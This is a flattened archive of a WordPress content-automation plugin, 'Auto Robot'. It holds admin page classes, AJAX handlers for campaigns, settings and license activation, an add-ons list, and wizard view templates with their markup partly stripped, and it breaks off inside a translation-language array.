Orderadmin/abstracts/class-admin-page.php000064400000020535147600277620013460 0ustar00page_slug = $page_slug; $this->folder = $folder; if ( ! $parent ) { $this->page_id = add_menu_page( $page_title, $menu_title, auto_robot_get_admin_cap(), $page_slug, $render ? array( $this, 'render' ) : null, 'dashicons-buddicons-replies' ); } else { $this->page_id = add_submenu_page( $parent, $page_title, $menu_title, auto_robot_get_admin_cap(), $page_slug, $render ? array( $this, 'render' ) : null ); } if ( $render ) { $this->render_page_hooks(); } $this->init(); } /** * Use that method instead of __construct * * @since 1.0.0 */ public function init() { } /** * Hooks before content render * * @since 1.0.0 */ public function render_page_hooks() { add_filter( 'load-' . $this->page_id, array( $this, 'add_page_hooks' ) ); } /** * Render page container * * @since 1.0.0 */ public function render() { $accessibility_enabled = get_option( 'auto_robot_enable_accessibility', false ); ?>
render_menu(); ?>
render_header(); $this->render_page_content(); $this->render_footer(); ?>
template_exists( 'menu/header' ) ) { $this->template( 'menu/header' ); } } /** * Render page header * * @since 1.0.0 */ protected function render_header() { ?>
template_exists( $this->folder . '/header' ) ) { $this->template( $this->folder . '/header' ); } else { ?>

' ); if ( $this->template_exists( $this->folder . '/footer' ) ) { $this->template( $this->folder . '/footer' ); } ?> template( $this->folder . '/content' ); } /** * Load an admin template * * @since 1.0 * * @param $path * @param array $args * @param bool $echo * * @return string */ public function template( $path, $args = array(), $echo = true ) { $file = AUTO_ROBOT_DIR . "/admin/views/$path.php"; $content = ''; if ( is_file( $file ) ) { ob_start(); $settings = $args; include $file; $content = ob_get_clean(); } if ( $echo ) { echo $content;// phpcs:ignore } return $content; } /** * Check if template exist * * @since 1.0.0 * * @param $path * * @return bool */ protected function template_exists( $path ) { $file = AUTO_ROBOT_DIR . "admin/views/$path.php"; return is_file( $file ); } /** * Add page screen hooks * * @since 1.0.0 */ public function add_page_hooks() { add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'init', array( $this, 'init_scripts' ) ); } /** * Add page screen hooks * * @since 1.0.0 * * @param $hook */ public function enqueue_scripts( $hook ) { // Load admin fonts auto_robot_admin_enqueue_fonts( AUTO_ROBOT_VERSION ); // Load admin styles auto_robot_admin_enqueue_styles( AUTO_ROBOT_VERSION ); $auto_robot_data = new Auto_Robot_Admin_Data(); // Load admin scripts auto_robot_admin_enqueue_scripts( AUTO_ROBOT_VERSION, $auto_robot_data->get_options_data() ); } /** * Init Admin scripts * * @since 1.0.0 * * @param $hook */ public function init_scripts( $hook ) { // Init jquery ui auto_robot_admin_jquery_ui_init(); } /** * Redirect to referer if available * * @since 1.0.0 * * @param string $fallback_redirect url if referer not found */ protected function maybe_redirect_to_referer( $fallback_redirect = '' ) { $referer = wp_get_referer(); $referer = ! empty( $referer ) ? $referer : wp_get_raw_referer(); if ( $referer ) { wp_safe_redirect( $referer ); } elseif ( $fallback_redirect ) { wp_safe_redirect( $fallback_redirect ); } else { $admin_url = admin_url( 'admin.php' ); $admin_url = add_query_arg( array( 'page' => $this->get_admin_page(), ), $admin_url ); wp_safe_redirect( $admin_url ); } exit(); } /** * Get admin page param * * @since 1.0.0 * @return string */ protected function get_admin_page() { return ( isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : '' ); } } endif; admin/abstracts/class-admin-module.php000064400000006161147600277620014030 0ustar00init(); $this->includes(); add_action( 'admin_menu', array( $this, 'add_menu_pages' ) ); add_action( 'admin_head', array( $this, 'hide_menu_pages' ) ); // admin-menu-editor compat add_action( 'admin_menu_editor-menu_replaced', array( $this, 'hide_menu_pages' ) ); add_filter( 'auto_robot_data', array( $this, 'add_js_defaults' ) ); add_filter( 'auto_robot_l10n', array( $this, 'add_l10n_strings' ) ); add_filter( 'submenu_file', array( $this, 'admin_submenu_file' ), 10, 2 ); } /** * Init * * @since 1.0 */ public function init() { // Call init instead of __construct in modules } /** * Attach admin pages * * @since 1.0 */ public function add_menu_pages() {} /** * Hide pages from menu * * @since 1.0 */ public function hide_menu_pages() {} /** * Used to include files * * @since 1.0 */ public function includes() {} /** * Inject module options to JS * * @since 1.0 * @param $data * @return mixed */ public function add_js_defaults( $data ) { return $data; } /** * Inject l10n strings to JS * * @param $strings * @since 1.0 * @return mixed */ public function add_l10n_strings( $strings ) { return $strings; } /** * Is the admin page being viewed in edit mode * * @since 1.0 * @return mixed */ public static function is_edit() { return (bool) filter_input( INPUT_GET, 'id', FILTER_VALIDATE_INT ); } /** * Is the module admin dashboard page * * @since 1.0 * @return bool */ public function is_admin_home() { global $plugin_page; return $this->page === $plugin_page; } /** * Is the module admin new/edit page * * @since 1.0 * @return bool */ public function is_admin_wizard() { global $plugin_page; return $this->page_edit === $plugin_page; } /** * Highlight parent page in sidebar * * @deprecated 1.1 No longer used because this function override prohibited WordPress global of $plugin_page * @since 1.0 * * @param $file * * @return mixed */ public function highlight_admin_parent( $file ) { _deprecated_function( __METHOD__, '1.1', null ); return $file; } /** * Highlight submenu on admin page * * @since 1.1 * * @param $submenu_file * @param $parent_file * * @return string */ public function admin_submenu_file( $submenu_file, $parent_file ) { global $plugin_page; if ( 'auto_robot' !== $parent_file ) { return $submenu_file; } if ( $this->page_edit === $plugin_page || $this->page_entries === $plugin_page ) { $submenu_file = $this->page; } return $submenu_file; } } endif; admin/classes/class-admin-data.php000064400000005561147600277620013126 0ustar00core = Auto_Robot::get_instance(); $this->generate_nonce(); } /** * Combine Data and pass to JS * * @since 1.0.0 * @return array */ public function get_options_data() { $data = $this->admin_js_defaults(); $data = apply_filters( 'auto_robot_data', $data ); return $data; } /** * Generate nonce * * @since 1.0.0 */ public function generate_nonce() { $this->_nonce = wp_create_nonce( 'auto-robot' ); } /** * Get current generated nonce * * @since 1.0.0 * @return string */ public function get_nonce() { return $this->_nonce; } /** * Return published pages * * @since 1.8 * * @return mixed */ public function get_pages() { $args = array( 'sort_order' => 'DESC', 'sort_column' => 'ID', 'hierarchical' => 1, 'exclude' => '', 'include' => '', 'meta_key' => '', 'meta_value' => '', 'authors' => '', 'child_of' => 0, 'parent' => -1, 'exclude_tree' => '', 'number' => '', 'offset' => 0, 'post_type' => 'page', 'post_status' => 'publish' ); $pages = get_pages($args); return $pages; } /** * Default Admin properties * * @since 1.0.0 * @return array */ public function admin_js_defaults() { return array( 'ajaxurl' => auto_robot_ajax_url(), '_ajax_nonce' => $this->get_nonce(), 'wizard_url' => admin_url( 'admin.php?page=auto-robot-campaign-wizard' ), 'integrations_url' => admin_url( 'admin.php?page=auto-robot-integrations' ), 'campaigns_url' => admin_url( 'admin.php?page=auto-robot-campaign' ) ); } } endif; admin/classes/class-admin-ajax.php000064400000034231147600277620013134 0ustar00get_all_models(); $campaigns = $models['models']; $export = array(); foreach ( $campaigns as $key => $model ) { if(in_array($key, $campaign_index)){ $export[$key] = $model->settings; } } wp_send_json_success( $export ); } else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } /** * Run Campaign * * @since 1.0.0 */ public function run_campaign_action() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } // $license_activated = get_option( 'auto_robot_license_activated'); // if ( empty($license_activated) || $license_activated != '102' ) { // wp_send_json_error( __( 'Please Click Here to add your purchase code and activate the plugin perform this action', Auto_Robot::DOMAIN ) ); // } if ( isset( $_POST['fields_data'] ) ) { $fields = $_POST['fields_data']; $id = isset( $fields['campaign_id'] ) ? $fields['campaign_id'] : null; $id = intval( $id ); if ( !is_null( $id ) || $id > 0 ) { $model = Auto_Robot_Custom_Form_Model::model()->load( $id ); } if($model){ $result = $model->run_campaign(); wp_send_json_success( $result ); }else{ wp_send_json_error( __( 'Campaign not defined!', Auto_Robot::DOMAIN ) ); } } else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } /** * Generate Campaign * * @since 1.0.0 */ public function generate_campaign() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } if ( isset( $_POST['fields_data'] ) ) { $fields = $_POST['fields_data']; $form_model = new Auto_Robot_Custom_Form_Model(); $status = Auto_Robot_Custom_Form_Model::STATUS_PUBLISH; // Default update frequency is 60 minutes $default_update_frequency = 5; $default_update_frequency_unit = 'Minutes'; // Sanitize settings $settings = $fields; // Campaign Next Run Time $time_length = auto_robot_calculate_next_time($default_update_frequency, $default_update_frequency_unit); $settings['next_run_time'] = time() + $time_length; $settings['robot_selected_source'] = 'search'; $settings['update_frequency'] = $default_update_frequency; $settings['update_frequency_unit'] = $default_update_frequency_unit; // Set Settings to model $form_model->settings = $settings; // status $form_model->status = $status; // Save data $id = $form_model->save(); if (!$id) { wp_send_json_error( $id ); }else{ wp_send_json_success( $id ); } } else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } /** * Save Campaign * * @since 1.0.0 */ public function save_campaign() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } if ( isset( $_POST['fields_data'] ) ) { $fields = $_POST['fields_data']; $id = isset( $fields['campaign_id'] ) ? $fields['campaign_id'] : null; $id = intval( $id ); $title = sanitize_text_field( $fields['robot_campaign_name'] ); $status = isset( $fields['campaign_status'] ) ? sanitize_text_field( $fields['campaign_status'] ) : ''; if ( is_null( $id ) || $id <= 0 ) { $form_model = new Auto_Robot_Custom_Form_Model(); $action = 'create'; if ( empty( $status ) ) { $status = Auto_Robot_Custom_Form_Model::STATUS_DRAFT; } } else { $form_model = Auto_Robot_Custom_Form_Model::model()->load( $id ); $action = 'update'; if ( ! is_object( $form_model ) ) { wp_send_json_error( __( "Form model doesn't exist", Auto_Robot::DOMAIN ) ); } if ( empty( $status ) ) { $status = $form_model->status; } // Delete last api request cache data $auto_robot_youtube_cache_key = 'auto_robot_youtube_cache_'.$fields['robot_youtube_source_category'].'_'.$id; if(get_option( $auto_robot_youtube_cache_key, false )){ // Start System Log Start $logger = new Auto_Robot_Log($id); delete_option( $auto_robot_youtube_cache_key ); $logger->add( "Clear Youtube Cache Data \t\t: on" . time() ); } } // Sanitize settings $settings = $fields; // Campaign Next Run Time $time_length = auto_robot_calculate_next_time($fields['update_frequency'], $fields['update_frequency_unit']); $settings['next_run_time'] = time() + $time_length; // Set Settings to model $form_model->settings = $settings; // status $form_model->status = $status; // Save data $id = $form_model->save(); if (!$id) { wp_send_json_error( $id ); }else{ wp_send_json_success( $id ); } } else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } /** * Select Integration * * @since 1.0.0 */ public function select_integration() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } if ( isset( $_POST['template'] ) ) { $template = auto_robot_load_popup($_POST['template']); wp_send_json_success( $template ); } } /** * Save API Data * * @since 1.0.0 */ public function save_api_data() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } if ( isset( $_POST['fields_data'] ) ) { // Sanitize api data $api_data = auto_robot_sanitize_field( $_POST['fields_data'] ); auto_robot_save_addon_data($api_data); $message = '' . $api_data['slug'] . ' ' . __( 'has been connected successfully.' ); wp_send_json_success( $message ); }else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } /** * Save settings * * @since 1.0.0 */ public function save_settings() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } if ( isset( $_POST['fields_data'] ) ) { $global_settings[ 'robot-campaign-per-page'] = $_POST['fields_data'][ 'robot-campaign-per-page']; // update next report time $global_settings[ 'update_frequency'] = $_POST['fields_data'][ 'update_frequency']; $global_settings[ 'update_frequency_unit'] = $_POST['fields_data'][ 'update_frequency_unit']; $global_settings[ 'next_report_time'] = time() + auto_robot_calculate_next_time($_POST['fields_data'][ 'update_frequency'], $_POST['fields_data'][ 'update_frequency_unit']); update_option( 'auto_robot_global_settings', $global_settings ); $message = __( 'Global Settings has been connected successfully.' ); wp_send_json_success( $message ); } else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } /** * Clear logs * * @since 1.0.0 */ public function clear_logs() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } $return = auto_robot_clear_logs(); if($return){ wp_send_json_success( __( 'Clear logs successfully!', Auto_Robot::DOMAIN ) ); }else{ wp_send_json_error( __( 'Clear logs failed!', Auto_Robot::DOMAIN ) ); } } /** * Save User Data * * @since 1.0.0 */ public function save_user_data() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } $type = sanitize_text_field( $_POST['type'] ); update_option( 'auto-robot-wizard-set-up', $type ); switch ( $type ) { case 'skip': $return = __( 'User skip wizard opt-in!', Auto_Robot::DOMAIN ); break; case 'opt-in': $return = auto_robot_save_user_data(); break; default: break; } wp_send_json_success( $return ); } /** * License connect * * @since 1.0.0 */ public function license_connect() { if ( ! current_user_can( 'manage_options' ) ) { return; } if ( ! wp_verify_nonce($_POST['_ajax_nonce'], 'auto-robot') ) { wp_send_json_error( __( 'You are not allowed to perform this action', Auto_Robot::DOMAIN ) ); } if ( isset( $_POST['fields_data'] ) ) { $fields = $_POST['fields_data']; $code = sanitize_text_field( $fields['robot_license_key'] ); $type = sanitize_text_field( $fields['type'] ); $status = auto_robot_envato_verify($code, $type); $status = json_decode($status); switch ( $status->data ) { case '101': $return = __( 'User envato user purchase code already activated in other sites!', Auto_Robot::DOMAIN ); break; case '102': $return = __( 'User envato user purchase code activate successfully!', Auto_Robot::DOMAIN ); break; case '201': $return = __( 'User envato user purchase code deactivate successfully!', Auto_Robot::DOMAIN ); break; case '301': $return = __( 'User envato user purchase code invalid!', Auto_Robot::DOMAIN ); break; default: break; } update_option( 'auto_robot_license_activated', $status->data); update_option( 'auto_robot_license_code', $code); wp_send_json_success( $return ); } else { wp_send_json_error( __( 'User submit data are empty!', Auto_Robot::DOMAIN ) ); } } } endif; admin/classes/class-admin-addons.php000064400000011173147600277620013461 0ustar00 array( 'id'=>'WHSH', 'name'=>'WPHobby Sticky Header', 'link'=>'https://wphobby.com/addons/sticky-header/', 'download'=>'https://wphobby.com/addons/sticky-header/', 'desc'=>'Add sticky header on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-sticky-footer' => array( 'id'=>'WHSF', 'name'=>'WPHobby Sticky Footer', 'link'=>'https://wphobby.com/addons/sticky-footer/', 'download'=>'https://wphobby.com/addons/sticky-footer/', 'desc'=>'Add sticky footer on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-popup-login' => array( 'id'=>'WHPL', 'name'=>'WPHobby Popup Login', 'link'=>'https://wphobby.com/addons/popup-login/', 'download'=>'https://wphobby.com/addons/popup-login/', 'desc'=>'Add popup login on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-instagram' => array( 'id'=>'WHIN', 'name'=>'WPHobby Instagram', 'link'=>'https://wphobby.com/addons/instagram/', 'download'=>'https://wphobby.com/addons/instagram/', 'desc'=>'Add instagram on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-side-panel' => array( 'id'=>'WHSP', 'name'=>'WPHobby Side Panel', 'link'=>'https://wphobby.com/addons/side-panel/', 'download'=>'https://wphobby.com/addons/side-panel/', 'desc'=>'Add side panel on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-elementor-widgets' => array( 'id'=>'WHEW', 'name'=>'Elementor Widgets', 'link'=>'https://wphobby.com/addons/elementor-widgets/', 'download'=>'https://wphobby.com/addons/elementor-widgets/', 'desc'=>'Add elementor widgets on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-white-label' => array( 'id'=>'WHWL', 'name'=>'WPHobby White Label', 'link'=>'https://wphobby.com/addons/white-label/', 'download'=>'https://wphobby.com/addons/white-label/', 'desc'=>'Add white label on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ), 'wphobby-cooike-notice' => array( 'id'=>'WHCN', 'name'=>'WPHobby Cooike Notice', 'link'=>'https://wphobby.com/addons/cooike-notice/', 'download'=>'https://wphobby.com/addons/cooike-notice/', 'desc'=>'Add cooike notice on website.', 'thumbnail' => AUTO_ROBOT_URL.'/assets/images/addons/minimal.png', 'price' => '$29.99' ) )); ksort($addons); return $addons; } } endif;admin/classes/class-admin.php000064400000015605147600277620012217 0ustar00includes(); // Display admin notices //add_action( 'admin_notices', array( $this, 'add_admin_notice' ) ); // Init admin pages add_action( 'admin_menu', array( $this, 'add_dashboard_page' ) ); // Init Admin AJAX class new Auto_Robot_Admin_AJAX(); /** * Triggered when Admin is loaded */ do_action( 'auto_robot_admin_loaded' ); } /** * Include required files * * @since 1.0.0 */ private function includes() { // Admin pages require_once AUTO_ROBOT_DIR . '/admin/pages/dashboard-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/integrations-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/logs-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/settings-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/license-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/addons-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/wizard-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/welcome-page.php'; require_once AUTO_ROBOT_DIR . '/admin/pages/import-page.php'; // Admin AJAX require_once AUTO_ROBOT_DIR . '/admin/classes/class-admin-ajax.php'; // Admin Data require_once AUTO_ROBOT_DIR . '/admin/classes/class-admin-data.php'; // Admin Addons require_once AUTO_ROBOT_DIR . '/admin/classes/class-admin-addons.php'; } /** * Admin notice * * @since 1.0.0 */ public function add_admin_notice() { $license_activated = get_option( 'auto_robot_license_activated'); if ( empty($license_activated) || $license_activated != '102' ) { echo '

Auto Robot is ready. Please Click Here to add your purchase code and activate the plugin.

'; } } /** * Initialize Dashboard page * * @since 1.0.0 */ public function add_dashboard_page() { $title = __( 'Auto Robot', Auto_Robot::DOMAIN ); $this->pages['auto_robot'] = new Auto_Robot_Dashboard_Page( 'auto-robot', 'dashboard', $title, $title, false, false ); $this->pages['auto_robot-dashboard'] = new Auto_Robot_Dashboard_Page( 'auto-robot', 'dashboard', __( 'Auto Robot Dashboard', Auto_Robot::DOMAIN ), __( 'Dashboard', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add Wizard page * * @since 1.0.0 */ public function add_wizard_page() { add_action( 'admin_menu', array( $this, 'init_wizard_page' ) ); } /** * Initialize Wizard page * * @since 1.0.0 */ public function init_wizard_page() { $this->pages['auto-robot-wizard'] = new Auto_Robot_Wizard_Page( 'auto-robot-wizard', 'wizard', __( 'Activation', Auto_Robot::DOMAIN ), __( 'Activation ⇪', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add Integrations page * * @since 1.0.0 */ public function add_integrations_page() { add_action( 'admin_menu', array( $this, 'init_integrations_page' ) ); } /** * Initialize Integrations page * * @since 1.0.0 */ public function init_integrations_page() { $this->pages['auto-robot-integrations'] = new Auto_Robot_Integrations_Page( 'auto-robot-integrations', 'integrations', __( 'Integrations', Auto_Robot::DOMAIN ), __( 'Integrations', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add Logs page * * @since 1.0.0 */ public function add_logs_page() { add_action( 'admin_menu', array( $this, 'init_logs_page' ) ); } /** * Initialize Logs page * * @since 1.0.0 */ public function init_logs_page() { $this->pages['auto-robot-logs'] = new Auto_Robot_Logs_Page( 'auto-robot-logs', 'logs', __( 'Logs', Auto_Robot::DOMAIN ), __( 'Logs', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add settings page * * @since 1.0.0 */ public function add_settings_page() { add_action( 'admin_menu', array( $this, 'init_settings_page' ) ); } /** * Initialize Logs page * * @since 1.0.0 */ public function init_settings_page() { $this->pages['auto-robot-settings'] = new Auto_Robot_Settings_Page( 'auto-robot-settings', 'settings', __( 'Settings', Auto_Robot::DOMAIN ), __( 'Settings', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add license page * * @since 1.0.0 */ public function add_license_page() { add_action( 'admin_menu', array( $this, 'init_license_page' ) ); } /** * Initialize Logs page * * @since 1.0.0 */ public function init_license_page() { $this->pages['auto-robot-license'] = new Auto_Robot_License_Page( 'auto-robot-license', 'license', __( 'License', Auto_Robot::DOMAIN ), __( 'License', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add addons page * * @since 1.0.0 */ public function add_addons_page() { add_action( 'admin_menu', array( $this, 'init_addons_page' ) ); } /** * Initialize addons page * * @since 1.0.0 */ public function init_addons_page() { $this->pages['auto-robot-addons'] = new Auto_Robot_Addons_Page( 'auto-robot-addons', 'addons', __( 'Addons', Auto_Robot::DOMAIN ), __( 'Addons', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add welcome page * * @since 1.0.0 */ public function add_welcome_page() { add_action( 'admin_menu', array( $this, 'init_welcome_page' ) ); } /** * Initialize Logs page * * @since 1.0.0 */ public function init_welcome_page() { $this->pages['auto-robot-welcome'] = new Auto_Robot_Welcome_Page( 'auto-robot-welcome', 'welcome', __( 'Welcome', Auto_Robot::DOMAIN ), __( 'Welcome', Auto_Robot::DOMAIN ), 'auto-robot' ); } /** * Add import page * * @since 1.0.0 */ public function add_import_page() { add_action( 'admin_menu', array( $this, 'init_import_page' ) ); } /** * Initialize Logs page * * @since 1.0.0 */ public function init_import_page() { $this->pages['auto-robot-import'] = new Auto_Robot_Import_Page( 'auto-robot-import', 'import', __( 'Import / Export', Auto_Robot::DOMAIN ), __( 'Import / Export', Auto_Robot::DOMAIN ), 'auto-robot' ); } } endif; admin/pages/import-page.php000064400000001454147600277620011707 0ustar00get_options_data() ); } } endif;admin/pages/settings-page.php000064400000001020147600277620012222 0ustar00get_options_data() ); } /** * Render page container * * @since 1.0.0 */ public function render() { $accessibility_enabled = get_option( 'auto_robot_enable_accessibility', false ); ?>
render_page_content(); ?>
get_options_data() ); } /** * Render page container * * @since 1.0.0 */ public function render() { $accessibility_enabled = get_option( 'auto_robot_enable_accessibility', false ); ?>
render_page_content(); ?>
get_options_data() ); } /** * Render page container * * @since 1.0.0 */ public function render() { $accessibility_enabled = get_option( 'auto_robot_enable_accessibility', false ); ?>
render_page_content(); ?>
$data ) { ?>

admin/views/campaigns/list/header.php000064400000001610147600277620013660 0ustar00countModules(); ?>

admin/views/campaigns/list/content.php000064400000030467147600277620014116 0ustar00countModules(); $count_active = $this->countModules( 'publish' ); // available bulk actions $bulk_actions = $this->bulk_actions(); $this->template( 'dashboard/widgets/widget-popup' ); ?> 0 ) { ?>
pagination(); ?>
getModules() as $module ) { ?>
' . esc_html__( 'Published', Auto_Robot::DOMAIN ) . ''; } ?> ' . esc_html__( 'Draft', Auto_Robot::DOMAIN ) . ''; } ?>

admin/views/campaigns/wizard/components/instagram-source.php000064400000004617147600277620020437 0ustar00

these instructions to retrieve' ); ?>

admin/views/campaigns/wizard/components/youtube-source.php000064400000012721147600277620020141 0ustar00
admin/views/campaigns/wizard/components/search-keywords.php000064400000003455147600277620020265 0ustar00
admin/views/campaigns/wizard/components/content-options.php000064400000002122147600277620020304 0ustar00
/> />
admin/views/campaigns/wizard/components/schedule-settings.php000064400000004174147600277620020604 0ustar00
0
admin/views/campaigns/wizard/components/post-template.php000064400000002260147600277620017742 0ustar00
admin/views/campaigns/wizard/components/campaign-name.php000064400000002402147600277620017637 0ustar00

admin/views/campaigns/wizard/components/feed-keywords.php000064400000001101147600277620017705 0ustar00
admin/views/campaigns/wizard/components/language-location.php000064400000010310147600277620020530 0ustar00 "English (United States)", "GB_en" => "English (United Kingdom)", "CA_en" => "English (Canada)", "AU_en" => "English (Australia)", "SG_en" => "English (Singapore)", "BW_en" => "English (Botswana)", "ET_en" => "English (Ethiopia)", "GH_en" => "English (Ghana)", "ID_en" => "English (Indonesia)", "IE_en" => "English (Ireland)", "IL_en" => "English (Israel)", "KE_en" => "English (Kenya)", "LV_en" => "English (Latvia)", "MY_en" => "English (Malaysia)", "NA_en" => "English (Namibia)", "NZ_en" => "English (New Zealand)", "NG_en" => "English (Nigeria)", "PK_en" => "English (Pakistan)", "PH_en" => "English (Philippines)", "ZA_en" => "English (South Africa)", "TZ_en" => "English (Tanzania)", "UG_en" => "English (Uganda)", "ZW_en" => "English (Zimbabwe)", "ID_id" => "Bahasa Indonesia (Indonesia)", "CZ_cs" => "Čeština (Česko)", "DE_de" => "Deutsch (Deutschland)", "AT_de" => "Deutsch (Österreich)", "CH_de" => "Deutsch (Schweiz)", "AR_es-419" => "Español (Argentina)", "CL_es-419" => "Español (Chile)", "CO_es-419" => "Español (Colombia)", "CU_es-419" => "Español (Cuba)", "US_es-419" => "Español (Estados Unidos)", "MX_es-419" => "Español (México)", "PE_es-419" => "Español (Perú)", "VE_es-419" => "Español (Venezuela)", "BE_fr" => "Français (Belgique)", "CA_fr" => "Français (Canada)", "FR_fr" => "Français (France)", "MA_fr" => "Français (Maroc)", "SN_fr" => "Français (Sénégal)", "CH_fr" => "Français (Suisse)", "IT_it" => "Italiano (Italia)", "LT_lt" => "Latviešu (Latvija)", "HU_hu" => "Magyar (Magyarország)", "BE_nl" => "Nederlands (België)", "NL_nl" => "Nederlands (Nederland)", "NO_no" => "Norsk (Norge)", "PL_pl" => "Polski (Polska)", "BR_pt-419" => "Português (Brasil)", "PT_pt-150" => "Português (Portugal)", "RO_ro" => "Română (România)", "SK_sk" => "Slovenčina (Slovensko)", "SI_sl" => "Slovenščina (Slovenija)", "SE_sv" => "Svenska (Sverige)", "VN_vi" => "Tiếng Việt (Việt Nam)", "TR_tr" => "Türkçe (Türkiye)", "GR_el" => "Ελληνικά (Ελλάδα)", "BG_bg" => "Български (България)", "RU_ru" => "Русский (Россия)", "UA_ru" => "Русский (Украина)", "RS_sr" => "Српски (Србија)", "UA_uk" => "Українська (Україна)", "IL_he" => "עברית (ישראל)", "AE_ar" => "العربية (الإمارات العربية المتحدة)", "SA_ar" => "العربية (المملكة العربية السعودية)", "LB_ar" => "العربية (لبنان)", "EG_ar" => "العربية (مصر)", "IN_mr" => "मराठी (भारत)", "IN_hi" => "हिन्दी (भारत)", "BD_bn" => "বাংলা (বাংলাদেশ)", "IN_ta" => "தமிழ் (இந்தியா)", "IN_te" => "తెలుగు (భారతదేశం)", "IN_ml" => "മലയാളം (ഇന്ത്യ)", "TH_th" => "ไทย (ไทย)", "CN_zh-Hans" => "中文 (中国)", "TW_zh-Hant" => "中文 (台灣)", "HK_zh-Hant" => "中文 (香港)", "JP_ja" => "日本語 (日本)", "KR_ko" => "한국어 (대한민국)", ); $robot_init_language = isset($settings['robot_init_language']) ? $settings['robot_init_language'] : 'US_en'; ?>
$value ) : ?> id="">
admin/views/campaigns/wizard/components/feed-links.php000064400000002225147600277620017166 0ustar00

WP Beginner Feed' ); ?>

admin/views/campaigns/wizard/components/facebook-links.php000064400000006506147600277620020042 0ustar00
admin/views/campaigns/wizard/sections/tab-post-images.php000064400000005200147600277620017577 0ustar00

admin/views/campaigns/wizard/sections/tab-dashboard.php000064400000001017147600277620017300 0ustar00

$value) { $this->template($value, $settings); } ?>
admin/views/campaigns/wizard/sections/tab-save.php000064400000004641147600277620016315 0ustar00
admin/views/campaigns/wizard/sections/tab-translation.php000064400000025771147600277620017724 0ustar00 "Google Translator", ); $translation_from = array( "auto" => "Auto Detect", "af" => "Afrikaans", "sq" => "Albanian", "am" => "Amharic", "ar" => "Arabic", "hy" => "Armenian", "az" => "Azerbaijani", "eu" => "Basque", "be" => "Belarusian", "bn" => "Bengali", "bs" => "Bosnian", "bg" => "Bulgarian", "ca" => "Catalan", "ceb" => "Cebuano", "zh-CN" => "Chinese (Simplified)", "zh-TW" => "Chinese (Traditional)", "co" => "Corsican", "hr" => "Croatian", "cs" => "Czech", "da" => "Danish", "nl" => "Dutch", "en" => "English", "eo" => "Esperanto", "et" => "Estonian", "fi" => "Finnish", "fr" => "French", "fy" => "Frisian", "gl" => "Galician", "ka" => "Georgian", "de" => "German", "el" => "Greek", "gu" => "Gujarati", "ht" => "Haitian Creole", "ha" => "Hausa", "haw" => "Hawaiian", "he" => "Hebrew", "hi" => "Hindi", "hmn" => "Hmong", "hu" => "Hungarian", "is" => "Icelandic", "ig" => "Igbo", "id" => "Indonesian", "ga" => "Irish", "it" => "Italian", "ja" => "Japanese", "jv" => "Javanese", "kn" => 